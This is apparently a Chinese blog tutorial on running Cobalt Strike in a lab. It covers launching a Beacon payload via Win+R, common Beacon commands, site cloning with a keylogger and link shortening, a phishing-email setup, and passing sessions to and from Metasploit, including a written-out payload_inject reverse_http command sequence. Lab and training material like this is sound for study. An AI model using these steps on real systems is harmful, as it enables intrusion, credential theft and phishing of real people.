1.上线机器的Beacon的常用命令
2.信息收集和网站克隆
3.钓鱼邮件
4.CS传递会话到MSF
5.MSF会话传递到CS
1上线机器的Beacon的常用命令
介绍：CobaltStrike分为服务端和客户端，一般我们将服务端放在kali，客户端可以在物理机上面，或者虚拟机都可以
启动服务端，首先创建一个监听（注意，这里要关闭kali的Apache服务，要不然端口占用创建监听不成功）
payload选择Beacon HTTP ,HTTP Hosts选择服务器的IP
点击save
接着我们用CS生成一个payload（Windows exe）,使得我靶机上线：
Lisrener选择我们创建的监听服务，点击Launch
接着会生成一段payload，只要我们将这段payload在其他机器的win+R上粘贴运行，机器就会上线
利用：
打开CS上方的小云朵，会出现我们刚刚生成的web服务
选中服务，点击下方的Copy URL
启动我们的Windows10靶机，使用win+R，然后将我们复制的粘贴上去，点击确定
靶机上线
接着右击，打开命令窗口，输入命令就可以查看目标机器信息
常用命令：
1.调节时间可以更快的看到执行命令：sleep 3 （务必执行要不然回显太慢）
2.如果有的命令没有找到提示Unknow command:命令前加shell，比如：shell whoami
3.查看局域网情况：net view
4.我们可以可以对机器进行浏览器代理、VNC桌面交互、文件浏览、网络探测、端口扫描、进程列表和屏幕截图等等，这里不再一一展示
2.信息收集和网站克隆
信息收集：
生成的一个网页我们直接Launch即可
这时候会生成一个网址：
只要别人在内网中访问这个网址，我们就可以得到机器信息
使用Windows10，访问：
我们就可以在CS中的web log中获取机器的信息：
网站克隆：
我们输入我们需要克隆的网址，这里我选择的是百度，然后选择路径，Attack是攻击的站点，可以选也可以不选，这里我选的是信息收集的站点，开启键盘记录
生成成功：
如果我们要发给别人，让其访问，但是这样别人一看就不是正常的网址，我们可以用短链接修饰一下，使他看起来更有迷惑性：
这里可以随便选，我选的第一个，浏览器访问：
之前开了键盘记录，随便输一个：pengyuyan
查看CS的web log:
记录成功
3.钓鱼邮件
第一个Targets:目标，我们新建一个文本文件，将想要发送邮件的目标地址写上去
第二个Template:就是模版，我们可以登录自己的邮箱，自己给自己发送一封邮件，然后点击导出eml文件（注意这里的邮件内容自己编写，可以把自己克隆的网站写上去）
第三个Attachment就是附件：可以不填也可以填一个可执行程序
第四个Embed URL:嵌入URL地址，同样可以写我们监听的地址
第五个邮件服务器：
第一个和第二个固定，第三个是自己邮箱，第四个是授权码，需要我们自己生成：
SSL连接
注意：这里要开启服务才行
第六个填写自己的邮箱地址
最后点击发送，这里是用我自己邮箱测试，查看自己的邮箱，果然发送成功：
4.CS传递会话到MS
打开MSF，建立监听：
注意这里需要使用的HTTP服务，写上本机IP，运行
打开CS，我们新建一个监听器：
点击save
然后选择靶机右键：
选择我们新建的监听器：
等待MSF连接：
连接成功
5.MSF会话传递到CS
我们打开Windows7，使用永恒之蓝漏洞先让MSF上线：
接着进行设置：
返回后台bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.11.128 # CS服务端IP
set lport 4444 # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1 # 会话id
run
打开CS创建一个新的监听器：
save,等待上线
成功上线
